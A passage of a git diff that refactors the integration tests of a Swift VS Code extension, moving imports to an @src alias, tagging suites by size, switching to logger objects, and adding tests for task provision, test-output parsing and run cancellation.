"@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { SwiftPluginTaskProvider } from "@src/tasks/SwiftPluginTaskProvider"; +import { SwiftTask } from "@src/tasks/SwiftTaskProvider"; + +import { tag } from "../../tags"; import { cleanOutput, executeTaskAndWaitForResult, waitForEndTaskProcess, } from "../../utilities/tasks"; import { mutable } from "../../utilities/types"; -import { SwiftExecution } from "../../../src/tasks/SwiftExecution"; -import { SwiftTask } from "../../../src/tasks/SwiftTaskProvider"; -import { SwiftOutputChannel } from "../../../src/ui/SwiftOutputChannel"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "../utilities/testutilities"; -suite("SwiftPluginTaskProvider Test Suite", function () { +tag("medium").suite("SwiftPluginTaskProvider Test Suite", function () { let workspaceContext: WorkspaceContext; let folderContext: FolderContext; - this.timeout(120000); // Mostly only when running suite with .only - activateExtensionForSuite({ async setup(ctx) { workspaceContext = ctx; - const outputChannel = new SwiftOutputChannel("SwiftPluginTaskProvider.tests"); + ctx.logger.info("Locating command-plugin folder in root workspace"); folderContext = await folderInRootWorkspace("command-plugin", workspaceContext); - await folderContext.loadSwiftPlugins(outputChannel); - expect(outputChannel.logs.length).to.equal(0, `Expected no output channel logs`); + ctx.logger.info( + "Located command-plugin folder in root workspace at " + folderContext.folder.fsPath + ); + const logger = await ctx.loggerFactory.temp("SwiftPluginTaskProvider.tests"); + ctx.logger.info("Loading swift plugins"); + await folderContext.loadSwiftPlugins(logger); + ctx.logger.info( + "Finished loading swift plugins, captured logs should be empty: " + logger.logs + ); + if (logger.logs.length > 0) { + expect.fail( + `Expected no output channel logs: ${JSON.stringify(logger.logs, undefined, 2)}` + ); + } expect(workspaceContext.folders).to.not.have.lengthOf(0); }, }); diff --git a/test/integration-tests/tasks/SwiftPseudoterminal.test.ts b/test/integration-tests/tasks/SwiftPseudoterminal.test.ts index a9a3afb85..f314bd16a 100644 --- a/test/integration-tests/tasks/SwiftPseudoterminal.test.ts +++ b/test/integration-tests/tasks/SwiftPseudoterminal.test.ts @@ -11,12 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; import * as vscode from "vscode"; + +import { SwiftPseudoterminal } from "@src/tasks/SwiftPseudoterminal"; + import { TestSwiftProcess } from "../../fixtures"; import { waitForClose, waitForWrite } from "../../utilities/tasks"; -import { SwiftPseudoterminal } from "../../../src/tasks/SwiftPseudoterminal"; suite("SwiftPseudoterminal Tests Suite", () => { test("Close event handler fires", async () => { diff --git a/test/integration-tests/tasks/SwiftTaskProvider.test.ts b/test/integration-tests/tasks/SwiftTaskProvider.test.ts index 2e90262b0..9307a2c51 100644 --- a/test/integration-tests/tasks/SwiftTaskProvider.test.ts +++ b/test/integration-tests/tasks/SwiftTaskProvider.test.ts @@ -11,22 +11,24 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import * as assert from "assert"; import { expect } from "chai"; import * as vscode from "vscode"; -import * as assert from "assert"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { - createSwiftTask, - createBuildAllTask, - getBuildAllTask, -} from "../../../src/tasks/SwiftTaskProvider"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; -import { executeTaskAndWaitForResult, waitForEndTaskProcess } from "../../utilities/tasks"; -import { Version } from "../../../src/utilities/version"; -import { FolderContext } from "../../../src/FolderContext"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { createBuildAllTask, createSwiftTask, getBuildAllTask } from "@src/tasks/SwiftTaskProvider"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + import { mockGlobalObject } from "../../MockUtils"; -import { activateExtensionForSuite, folderInRootWorkspace } from "../utilities/testutilities"; +import { tag } from "../../tags"; +import { executeTaskAndWaitForResult, waitForEndTaskProcess } from "../../utilities/tasks"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "../utilities/testutilities"; suite("SwiftTaskProvider Test Suite", () => { let workspaceContext: WorkspaceContext; @@ -92,45 +94,52 @@ suite("SwiftTaskProvider Test Suite", () => { }); suite("provideTasks", () => { - suite("includes build all task from extension", () => { - let task: vscode.Task | undefined; + let resetSettings: (() => Promise) | undefined; + teardown(async () => { + if (resetSettings) { + await resetSettings(); + } + }); - setup(async () => { + suite("includes build all task from extension", () => { + async function getBuildAllTask(): Promise { const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); - task = tasks.find(t => t.name === "Build All (defaultPackage)"); - }); + return tasks.find(t => t.name === "Build All (defaultPackage)"); + } test("provided", async () => { + const task = await getBuildAllTask(); expect(task?.detail).to.include("swift build --build-tests"); }); - test("executes @slow", async () => { + tag("medium").test("executes", async () => { + const task = await getBuildAllTask(); assert(task); const exitPromise = waitForEndTaskProcess(task); await vscode.tasks.executeTask(task); const exitCode = await exitPromise; expect(exitCode).to.equal(0); - }).timeout(180000); // 3 minutes to build + }); }); suite("includes build all task from tasks.json", () => { - let task: vscode.Task | undefined; - - setup(async () => { + async function getBuildAllTask(): Promise { const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); - task = tasks.find( + return tasks.find( t => t.name === "swift: Build All from " + (vscode.workspace.workspaceFile ? "code workspace" : "tasks.json") ); - }); + } test("provided", async () => { + const task = await getBuildAllTask(); expect(task?.detail).to.include("swift build --show-bin-path"); }); - test("executes", async () => { + tag("medium").test("executes", async () => { + const task = await getBuildAllTask(); assert(task); const exitPromise = waitForEndTaskProcess(task); await vscode.tasks.executeTask(task); @@ -150,6 +159,41 @@ suite("SwiftTaskProvider Test Suite", () => { expect(task?.detail).to.include("swift build --product PackageExe"); }); + test("includes library build tasks task", async () => { + const taskProvider = workspaceContext.taskProvider; + let tasks = await taskProvider.provideTasks(new vscode.CancellationTokenSource().token); + let task = tasks.find(t => t.name === "Build Debug PackageLib2 (defaultPackage)"); + expect(task).to.be.undefined; + task = tasks.find(t => t.name === "Build Release PackageLib2 (defaultPackage)"); + expect(task).to.be.undefined; + + resetSettings = await updateSettings({ + "swift.createTasksForLibraryProducts": true, + }); + + tasks = await taskProvider.provideTasks(new vscode.CancellationTokenSource().token); + task = tasks.find(t => t.name === "Build Debug PackageLib2 (defaultPackage)"); + expect( + task, + 'expected to find a task named "Build Debug PackageLib2 (defaultPackage)", instead found ' + + tasks.map(t => t.name) + ).to.not.be.undefined; + expect(task?.detail).to.include("swift build --product PackageLib2"); + task = tasks.find(t => t.name === "Build Release PackageLib2 (defaultPackage)"); + expect( + task, + 'expected to find a task named "Build Release PackageLib2 (defaultPackage)", instead found ' + + tasks.map(t => t.name) + ).to.not.be.undefined; + expect(task?.detail).to.include("swift build -c release --product PackageLib2"); + + // Don't include automatic products + task = tasks.find(t => t.name === "Build Debug PackageLib (defaultPackage)"); + expect(task).to.be.undefined; + task = tasks.find(t => t.name === "Build Release PackageLib (defaultPackage)"); + expect(task).to.be.undefined; + }); + test("includes product release task", async () => { const taskProvider = workspaceContext.taskProvider; const tasks = await taskProvider.provideTasks( diff --git a/test/integration-tests/tasks/TaskManager.test.ts b/test/integration-tests/tasks/TaskManager.test.ts index 74eb1a9f8..34624a0fb 100644 --- a/test/integration-tests/tasks/TaskManager.test.ts +++ b/test/integration-tests/tasks/TaskManager.test.ts @@ -11,14 +11,16 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; -import { TaskManager } from "../../../src/tasks/TaskManager"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { TaskManager } from "@src/tasks/TaskManager"; + +import { tag } from "../../tags"; import { activateExtensionForSuite } from "../utilities/testutilities"; -suite("TaskManager Test Suite", () => { +tag("medium").suite("TaskManager Test Suite", () => { let workspaceContext: WorkspaceContext; let taskManager: TaskManager; diff --git a/test/integration-tests/tasks/TaskQueue.test.ts b/test/integration-tests/tasks/TaskQueue.test.ts index 2e17f9deb..1f26b9376 100644 --- a/test/integration-tests/tasks/TaskQueue.test.ts +++ b/test/integration-tests/tasks/TaskQueue.test.ts @@ -11,15 +11,17 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftExecOperation, TaskOperation, TaskQueue } from "@src/tasks/TaskQueue"; + import { testAssetPath } from "../../fixtures"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { SwiftExecOperation, TaskOperation, TaskQueue } from "../../../src/tasks/TaskQueue"; +import { tag } from "../../tags"; import { activateExtensionForSuite, findWorkspaceFolder } from "../utilities/testutilities"; -suite("TaskQueue Test Suite", () => { +tag("medium").suite("TaskQueue Test Suite", () => { let workspaceContext: WorkspaceContext; let taskQueue: TaskQueue; @@ -151,7 +153,7 @@ suite("TaskQueue Test Suite", () => { taskQueue.queueOperation(new TaskOperation(task2)).then(rt => results.push(rt)), ]); assert.notStrictEqual(results, [1, 2]); - }).timeout(15000); + }); // check queuing task will return expected value test("swift exec", async () => { diff --git a/test/integration-tests/testexplorer/DocumentSymbolTestDiscovery.test.ts b/test/integration-tests/testexplorer/DocumentSymbolTestDiscovery.test.ts index e6c715fc5..4cce4367f 100644 --- a/test/integration-tests/testexplorer/DocumentSymbolTestDiscovery.test.ts +++ b/test/integration-tests/testexplorer/DocumentSymbolTestDiscovery.test.ts @@ -11,11 +11,11 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; import * as vscode from "vscode"; -import { parseTestsFromDocumentSymbols } from "../../../src/TestExplorer/DocumentSymbolTestDiscovery"; -import { TestClass } from "../../../src/TestExplorer/TestDiscovery"; + +import { parseTestsFromDocumentSymbols } from "@src/TestExplorer/DocumentSymbolTestDiscovery"; +import { TestClass } from "@src/TestExplorer/TestDiscovery"; suite("DocumentSymbolTestDiscovery Suite", () => { const mockRange = new vscode.Range(new vscode.Position(0, 0), new vscode.Position(0, 0)); diff --git a/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts b/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts index e34f0e71e..15a2c9e20 100644 --- a/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts +++ b/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts @@ -11,31 +11,32 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; -import * as vscode from "vscode"; import { beforeEach } from "mocha"; +import * as vscode from "vscode"; +import * as p2c from "vscode-languageclient/lib/common/protocolConverter"; import { LanguageClient, + Location, MessageSignature, + Position, + Range, RequestType0, RequestType, - Location, - Range, - Position, } from "vscode-languageclient/node"; -import * as p2c from "vscode-languageclient/lib/common/protocolConverter"; -import { LSPTestDiscovery } from "../../../src/TestExplorer/LSPTestDiscovery"; -import { SwiftPackage, Target, TargetType } from "../../../src/SwiftPackage"; -import { TestClass } from "../../../src/TestExplorer/TestDiscovery"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; + +import { SwiftPackage, Target, TargetType } from "@src/SwiftPackage"; +import { LSPTestDiscovery } from "@src/TestExplorer/LSPTestDiscovery"; +import { TestClass } from "@src/TestExplorer/TestDiscovery"; +import { LanguageClientManager } from "@src/sourcekit-lsp/LanguageClientManager"; import { LSPTestItem, TextDocumentTestsRequest, WorkspaceTestsRequest, -} from "../../../src/sourcekit-lsp/extensions"; +} from "@src/sourcekit-lsp/extensions"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; + import { instance, mockFn, mockObject } from "../../MockUtils"; -import { LanguageClientManager } from "../../../src/sourcekit-lsp/LanguageClientManager"; class TestLanguageClient { private responses = new Map(); @@ -87,7 +88,7 @@ suite("LSPTestDiscovery Suite", () => { beforeEach(async function () { this.timeout(10000000); - pkg = await SwiftPackage.create(file, await SwiftToolchain.create()); + pkg = await SwiftPackage.create(file, await SwiftToolchain.create("/path/to/extension")); client = new TestLanguageClient(); discoverer = new LSPTestDiscovery( instance( diff --git a/test/integration-tests/testexplorer/MockTestRunState.ts b/test/integration-tests/testexplorer/MockTestRunState.ts index 91335235e..8af2f3c7b 100644 --- a/test/integration-tests/testexplorer/MockTestRunState.ts +++ b/test/integration-tests/testexplorer/MockTestRunState.ts @@ -11,9 +11,9 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { ITestRunState, TestIssueDiff } from "../../../src/TestExplorer/TestParsers/TestRunState"; + +import { ITestRunState, TestIssueDiff } from "@src/TestExplorer/TestParsers/TestRunState"; /** TestStatus */ export enum TestStatus { diff --git a/test/integration-tests/testexplorer/SPMTestListOutputParser.test.ts b/test/integration-tests/testexplorer/SPMTestListOutputParser.test.ts index b0f05c2d2..60a858f3c 100644 --- a/test/integration-tests/testexplorer/SPMTestListOutputParser.test.ts +++ b/test/integration-tests/testexplorer/SPMTestListOutputParser.test.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; -import { parseTestsFromSwiftTestListOutput } from "../../../src/TestExplorer/SPMTestDiscovery"; -import { TestClass } from "../../../src/TestExplorer/TestDiscovery"; + +import { parseTestsFromSwiftTestListOutput } from "@src/TestExplorer/SPMTestDiscovery"; +import { TestClass } from "@src/TestExplorer/TestDiscovery"; suite("SPMTestListOutputParser Suite", () => { const basicXCTest: TestClass = { diff --git a/test/integration-tests/testexplorer/SwiftTestingOutputParser.test.ts b/test/integration-tests/testexplorer/SwiftTestingOutputParser.test.ts index df56401e7..23751e04c 100644 --- a/test/integration-tests/testexplorer/SwiftTestingOutputParser.test.ts +++ b/test/integration-tests/testexplorer/SwiftTestingOutputParser.test.ts @@ -11,22 +11,23 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; -import * as vscode from "vscode"; import { beforeEach } from "mocha"; +import { Readable } from "stream"; +import * as vscode from "vscode"; + import { - SwiftTestEvent, + EventMessage, EventRecord, - SwiftTestingOutputParser, EventRecordPayload, - EventMessage, + MessageRenderer, SourceLocation, + SwiftTestEvent, + SwiftTestingOutputParser, TestSymbol, - MessageRenderer, -} from "../../../src/TestExplorer/TestParsers/SwiftTestingOutputParser"; +} from "@src/TestExplorer/TestParsers/SwiftTestingOutputParser"; + import { TestRunState, TestStatus } from "./MockTestRunState"; -import { Readable } from "stream"; class TestEventStream { constructor(private items: SwiftTestEvent[]) {} @@ -302,4 +303,38 @@ suite("SwiftTestingOutputParser Suite", () => { }, ]); }); + + test("Issue with isFailure: false isn't recorded", async () => { + const issueLocation = { + _filePath: "file:///some/file.swift", + line: 1, + column: 2, + }; + const issueEvent = testEvent( + "issueRecorded", + "MyTests.MyTests/testWarning()", + [{ text: "This is a warning", symbol: TestSymbol.warning }], + issueLocation + ); + (issueEvent.payload as any).issue.isFailure = false; + + const events = new TestEventStream([ + testEvent("runStarted"), + testEvent("testCaseStarted", "MyTests.MyTests/testWarning()"), + issueEvent, + testEvent("testCaseEnded", "MyTests.MyTests/testWarning()"), + testEvent("runEnded"), + ]); + + await outputParser.watch("file:///mock/named/pipe", testRunState, events); + + assert.deepEqual(testRunState.tests, [ + { + name: "MyTests.MyTests/testWarning()", + status: TestStatus.passed, + timing: { timestamp: 0 }, + output: [], + }, + ]); + }); }); diff --git a/test/integration-tests/testexplorer/TestDiscovery.test.ts b/test/integration-tests/testexplorer/TestDiscovery.test.ts index be904af83..62fe6c318 100644 --- a/test/integration-tests/testexplorer/TestDiscovery.test.ts +++ b/test/integration-tests/testexplorer/TestDiscovery.test.ts @@ -11,20 +11,20 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; -import * as vscode from "vscode"; import { beforeEach } from "mocha"; +import * as vscode from "vscode"; + +import { SwiftPackage, Target, TargetType } from "@src/SwiftPackage"; import { TestClass, updateTests, updateTestsForTarget, updateTestsFromClasses, -} from "../../../src/TestExplorer/TestDiscovery"; -import { reduceTestItemChildren } from "../../../src/TestExplorer/TestUtils"; -import { SwiftPackage, Target, TargetType } from "../../../src/SwiftPackage"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; -import { TestStyle } from "../../../src/sourcekit-lsp/extensions"; +} from "@src/TestExplorer/TestDiscovery"; +import { reduceTestItemChildren } from "@src/TestExplorer/TestUtils"; +import { TestStyle } from "@src/sourcekit-lsp/extensions"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; suite("TestDiscovery Suite", () => { let testController: vscode.TestController; @@ -223,7 +223,10 @@ suite("TestDiscovery Suite", () => { test("updates tests from classes within a swift package", async () => { const targetFolder = vscode.Uri.file("file:///some/"); - const swiftPackage = await SwiftPackage.create(targetFolder, await SwiftToolchain.create()); + const swiftPackage = await SwiftPackage.create( + targetFolder, + await SwiftToolchain.create("/path/to/extension") + ); const testTargetName = "TestTarget"; const target: Target = { c99name: testTargetName, diff --git a/test/integration-tests/testexplorer/TestExplorerIntegration.test.ts b/test/integration-tests/testexplorer/TestExplorerIntegration.test.ts index 7dcbdb2a2..70a15e837 100644 --- a/test/integration-tests/testexplorer/TestExplorerIntegration.test.ts +++ b/test/integration-tests/testexplorer/TestExplorerIntegration.test.ts @@ -11,13 +11,37 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; -import * as vscode from "vscode"; -import * as path from "path"; import * as fs from "fs"; -import { beforeEach, afterEach } from "mocha"; -import { TestExplorer } from "../../../src/TestExplorer/TestExplorer"; +import { afterEach, beforeEach } from "mocha"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { runnableTag } from "@src/TestExplorer/TestDiscovery"; +import { TestExplorer } from "@src/TestExplorer/TestExplorer"; +import { TestKind } from "@src/TestExplorer/TestKind"; +import { + MessageRenderer, + TestSymbol, +} from "@src/TestExplorer/TestParsers/SwiftTestingOutputParser"; +import { TestRunProxy } from "@src/TestExplorer/TestRunner"; +import { flattenTestItemCollection, reduceTestItemChildren } from "@src/TestExplorer/TestUtils"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; +import { lineBreakRegex } from "@src/utilities/tasks"; +import { randomString } from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + +import { tag } from "../../tags"; +import { executeTaskAndWaitForResult } from "../../utilities/tasks"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, + withLogging, +} from "../utilities/testutilities"; import { assertContains, assertContainsTrimmed, @@ -26,58 +50,53 @@ import { buildStateFromController, eventPromise, gatherTests, - runTest, + runTest as runTestWithLogging, waitForTestExplorerReady, } from "./utilities"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { Version } from "../../../src/utilities/version"; -import { TestKind } from "../../../src/TestExplorer/TestKind"; -import { - MessageRenderer, - TestSymbol, -} from "../../../src/TestExplorer/TestParsers/SwiftTestingOutputParser"; -import { - flattenTestItemCollection, - reduceTestItemChildren, -} from "../../../src/TestExplorer/TestUtils"; -import { runnableTag } from "../../../src/TestExplorer/TestDiscovery"; -import { - activateExtensionForSuite, - folderInRootWorkspace, - updateSettings, -} from "../utilities/testutilities"; -import { Commands } from "../../../src/commands"; -import { executeTaskAndWaitForResult } from "../../utilities/tasks"; -import { createBuildAllTask } from "../../../src/tasks/SwiftTaskProvider"; -import { FolderContext } from "../../../src/FolderContext"; -import { lineBreakRegex } from "../../../src/utilities/tasks"; -import { randomString } from "../../../src/utilities/utilities"; - -suite("Test Explorer Suite", function () { - const MAX_TEST_RUN_TIME_MINUTES = 6; - - this.timeout(1000 * 60 * MAX_TEST_RUN_TIME_MINUTES); +tag("large").suite("Test Explorer Suite", function () { let workspaceContext: WorkspaceContext; let folderContext: FolderContext; let testExplorer: TestExplorer; + let runTest: ( + testExplorer: TestExplorer, + runProfile: TestKind, + ...tests: string[] + ) => Promise; activateExtensionForSuite({ async setup(ctx) { + // It can take a very long time for sourcekit-lsp to index tests on Windows, + // especially w/ Swift 6.0. Wait for up to 25 minutes for the indexing to complete. + if (process.platform === "win32") { + this.timeout(25 * 60 * 1000); + } + workspaceContext = ctx; - folderContext = await folderInRootWorkspace("defaultPackage", workspaceContext); + runTest = runTestWithLogging.bind(null, workspaceContext.logger); + const logger = withLogging(ctx.logger); + folderContext = await logger("Locating defaultPackage folder in root workspace", () => + folderInRootWorkspace("defaultPackage", workspaceContext) + ); if (!folderContext) { throw new Error("Unable to find test explorer"); } - testExplorer = folderContext.addTestExplorer(); + testExplorer = await logger( + "Waiting for test explorer to resolve", + () => folderContext.resolvedTestExplorer + ); - await executeTaskAndWaitForResult(await createBuildAllTask(folderContext)); + await logger("Executing build all task", async () => + executeTaskAndWaitForResult(await createBuildAllTask(folderContext)) + ); // Set up the listener before bringing the text explorer in to focus, // which starts searching the workspace for tests. - await waitForTestExplorerReady(testExplorer); + await logger("Waiting for test explorer to be ready", () => + waitForTestExplorerReady(testExplorer, workspaceContext.logger) + ); }, requiresLSP: true, requiresDebugger: true, @@ -157,9 +176,7 @@ suite("Test Explorer Suite", function () { } }); - test("Debugs specified XCTest test @slow", async function () { - this.timeout(1000 * 60 * MAX_TEST_RUN_TIME_MINUTES * 2); - + test("Debugs specified XCTest test", async function () { // CodeLLDB tests stall out on 5.9 and below. if (folderContext.swiftVersion.isLessThan(new Version(5, 10, 0))) { this.skip(); @@ -373,7 +390,7 @@ suite("Test Explorer Suite", function () { }); }); - test("tests run in debug mode @slow", async function () { + test("tests run in debug mode", async function () { const testRun = await runTest( testExplorer, TestKind.standard, @@ -385,10 +402,7 @@ suite("Test Explorer Suite", function () { }); }); - test("test run in release mode @slow", async function () { - // Building in release takes a long time. - this.timeout(1000 * 60 * MAX_TEST_RUN_TIME_MINUTES * 2); - + test("test run in release mode", async function () { const passingRun = await runTest( testExplorer, TestKind.release, @@ -426,9 +440,7 @@ suite("Test Explorer Suite", function () { suite("Runs multiple", function () { const numIterations = 5; - this.timeout(1000 * 60 * MAX_TEST_RUN_TIME_MINUTES * 5); - - test("@slow runs an swift-testing test multiple times", async function () { + test("runs an swift-testing test multiple times", async function () { const testItems = gatherTests( testExplorer.controller, "PackageTests.MixedXCTestSuite/testPassing" @@ -523,7 +535,46 @@ suite("Test Explorer Suite", function () { assertContains(testRun.runState.output, "\r\nTest run cancelled."); }); - test("tests run in debug mode @slow", async function () { + test("Cancellation during build", async function () { + const targetProfile = testExplorer.testRunProfiles.find( + profile => profile.label === TestKind.standard + ); + if (!targetProfile) { + throw new Error(`Unable to find run profile named ${TestKind.standard}`); + } + const testItems = gatherTests( + testExplorer.controller, + "PackageTests.DuplicateSuffixTests/testPassing" + ); + const request = new vscode.TestRunRequest(testItems); + const initialTokenSource = new vscode.CancellationTokenSource(); + + const testRunPromise = eventPromise(testExplorer.onCreateTestRun); + + // Deliberately don't await this so we can cancel it. + void targetProfile.runHandler(request, initialTokenSource.token); + const testRun = await testRunPromise; + + const secondRunTokenSource = new vscode.CancellationTokenSource(); + // Wait for the next tick to cancel the test run so that + // handlers have time to set up. + await new Promise(resolve => { + setImmediate(async () => { + const secondRunOnCreate = eventPromise(testExplorer.onCreateTestRun); + // Start the second test run, which will trigger the mockWindow to resolve with + // the request to cancel and start a new run. Then wait for the second run to start, + // and cancel it as if VS Code requested it. + void targetProfile.runHandler(request, secondRunTokenSource.token); + await secondRunOnCreate; + secondRunTokenSource.cancel(); + resolve(); + }); + }); + + assertContains(testRun.runState.output, "\r\nTest run cancelled."); + }); + + test("tests run in debug mode", async function () { const testRun = await runTest( testExplorer, TestKind.standard, @@ -538,10 +589,7 @@ suite("Test Explorer Suite", function () { }); }); - test("tests run in release mode @slow", async function () { - // Building in release takes a long time. - this.timeout(1000 * 60 * MAX_TEST_RUN_TIME_MINUTES * 2); - + test("tests run in release mode", async function () { const passingRun = await runTest( testExplorer, TestKind.release, @@ -559,9 +607,7 @@ suite("Test Explorer Suite", function () { suite("Runs multiple", function () { const numIterations = 5; - this.timeout(1000 * 60 * MAX_TEST_RUN_TIME_MINUTES * 5); - - test("@slow runs an XCTest multiple times", async function () { + test("runs an XCTest multiple times", async function () { const testItems = gatherTests( testExplorer.controller, "PackageTests.PassingXCTestSuite/testPassing" @@ -575,6 +621,7 @@ suite("Test Explorer Suite", function () { await vscode.commands.executeCommand( Commands.RUN_TESTS_MULTIPLE_TIMES, testItems[0], + { preserveFocus: true }, // a trailing argument included on Linux numIterations ); diff --git a/test/integration-tests/testexplorer/TestRunArguments.test.ts b/test/integration-tests/testexplorer/TestRunArguments.test.ts index f435d2774..296e83d8a 100644 --- a/test/integration-tests/testexplorer/TestRunArguments.test.ts +++ b/test/integration-tests/testexplorer/TestRunArguments.test.ts @@ -11,12 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; -import { beforeEach, afterEach } from "mocha"; -import { TestRunArguments } from "../../../src/TestExplorer/TestRunArguments"; -import { flattenTestItemCollection } from "../../../src/TestExplorer/TestUtils"; +import { afterEach, beforeEach } from "mocha"; +import * as vscode from "vscode"; + +import { TestRunArguments } from "@src/TestExplorer/TestRunArguments"; +import { flattenTestItemCollection } from "@src/TestExplorer/TestUtils"; suite("TestRunArguments Suite", () => { // Helper function to create a test item tree from a DSL string. @@ -76,10 +76,7 @@ suite("TestRunArguments Suite", () => { function assertRunArguments( args: TestRunArguments, - expected: Omit< - Omit, "hasXCTests">, - "hasSwiftTestingTests" - > & { testItems: string[] } + expected: Partial> & { testItems: string[] } ) { // Order of testItems doesn't matter, that they contain the same elements. assert.deepStrictEqual( @@ -132,12 +129,15 @@ suite("TestRunArguments Suite", () => { const xcTest = new TestRunArguments(runRequestByIds([xcTestId]), false); const swiftTestingTest = new TestRunArguments(runRequestByIds([swiftTestId]), false); const bothTests = new TestRunArguments(runRequestByIds([xcTestId, swiftTestId]), false); + const noTests = new TestRunArguments(runRequestByIds([]), false); assert.strictEqual(xcTest.hasXCTests, true); assert.strictEqual(xcTest.hasSwiftTestingTests, false); assert.strictEqual(swiftTestingTest.hasXCTests, false); assert.strictEqual(swiftTestingTest.hasSwiftTestingTests, true); assert.strictEqual(bothTests.hasXCTests, true); assert.strictEqual(bothTests.hasSwiftTestingTests, true); + assert.strictEqual(noTests.hasXCTests, true); + assert.strictEqual(noTests.hasSwiftTestingTests, true); }); test("Single XCTest", () => { diff --git a/test/integration-tests/testexplorer/XCTestOutputParser.test.ts b/test/integration-tests/testexplorer/XCTestOutputParser.test.ts index 03e472ba7..1af395eb9 100644 --- a/test/integration-tests/testexplorer/XCTestOutputParser.test.ts +++ b/test/integration-tests/testexplorer/XCTestOutputParser.test.ts @@ -11,20 +11,21 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; import { beforeEach } from "mocha"; + import { + XCTestOutputParser, darwinTestRegex, nonDarwinTestRegex, - XCTestOutputParser, -} from "../../../src/TestExplorer/TestParsers/XCTestOutputParser"; -import { TestRunState, TestRunTestItem, TestStatus } from "./MockTestRunState"; -import { sourceLocationToVSCodeLocation } from "../../../src/utilities/utilities"; -import { TestXUnitParser } from "../../../src/TestExplorer/TestXUnitParser"; +} from "@src/TestExplorer/TestParsers/XCTestOutputParser"; +import { TestXUnitParser } from "@src/TestExplorer/TestXUnitParser"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { lineBreakRegex } from "@src/utilities/tasks"; +import { sourceLocationToVSCodeLocation } from "@src/utilities/utilities"; + import { activateExtensionForSuite } from "../utilities/testutilities"; -import { SwiftOutputChannel } from "../../../src/ui/SwiftOutputChannel"; -import { lineBreakRegex } from "../../../src/utilities/tasks"; +import { TestRunState, TestRunTestItem, TestStatus } from "./MockTestRunState"; enum ParserTestKind { Regular = "Regular Test Run", @@ -72,8 +73,10 @@ ${tests.map( } let hasMultiLineParallelTestOutput: boolean; + let workspaceContext: WorkspaceContext; activateExtensionForSuite({ async setup(ctx) { + workspaceContext = ctx; hasMultiLineParallelTestOutput = ctx.globalToolchain.hasMultiLineParallelTestOutput; }, }); @@ -86,7 +89,7 @@ ${tests.map( if (parserTestKind === ParserTestKind.Parallel) { const xmlResults = expectedStateToXML(expected); const xmlParser = new TestXUnitParser(hasMultiLineParallelTestOutput); - void xmlParser.parse(xmlResults, testRunState, new SwiftOutputChannel("test")); + void xmlParser.parse(xmlResults, testRunState, workspaceContext.logger); } assert.deepEqual(testRunState.tests, expected); diff --git a/test/integration-tests/testexplorer/utilities.ts b/test/integration-tests/testexplorer/utilities.ts index ce38dc69e..610b8f52a 100644 --- a/test/integration-tests/testexplorer/utilities.ts +++ b/test/integration-tests/testexplorer/utilities.ts @@ -11,52 +11,18 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; -import { reduceTestItemChildren } from "../../../src/TestExplorer/TestUtils"; -import { TestRunProxy } from "../../../src/TestExplorer/TestRunner"; -import { TestExplorer } from "../../../src/TestExplorer/TestExplorer"; -import { TestKind } from "../../../src/TestExplorer/TestKind"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { testAssetUri } from "../../fixtures"; -import { - activateExtension, - deactivateExtension, - SettingsMap, - updateSettings, -} from 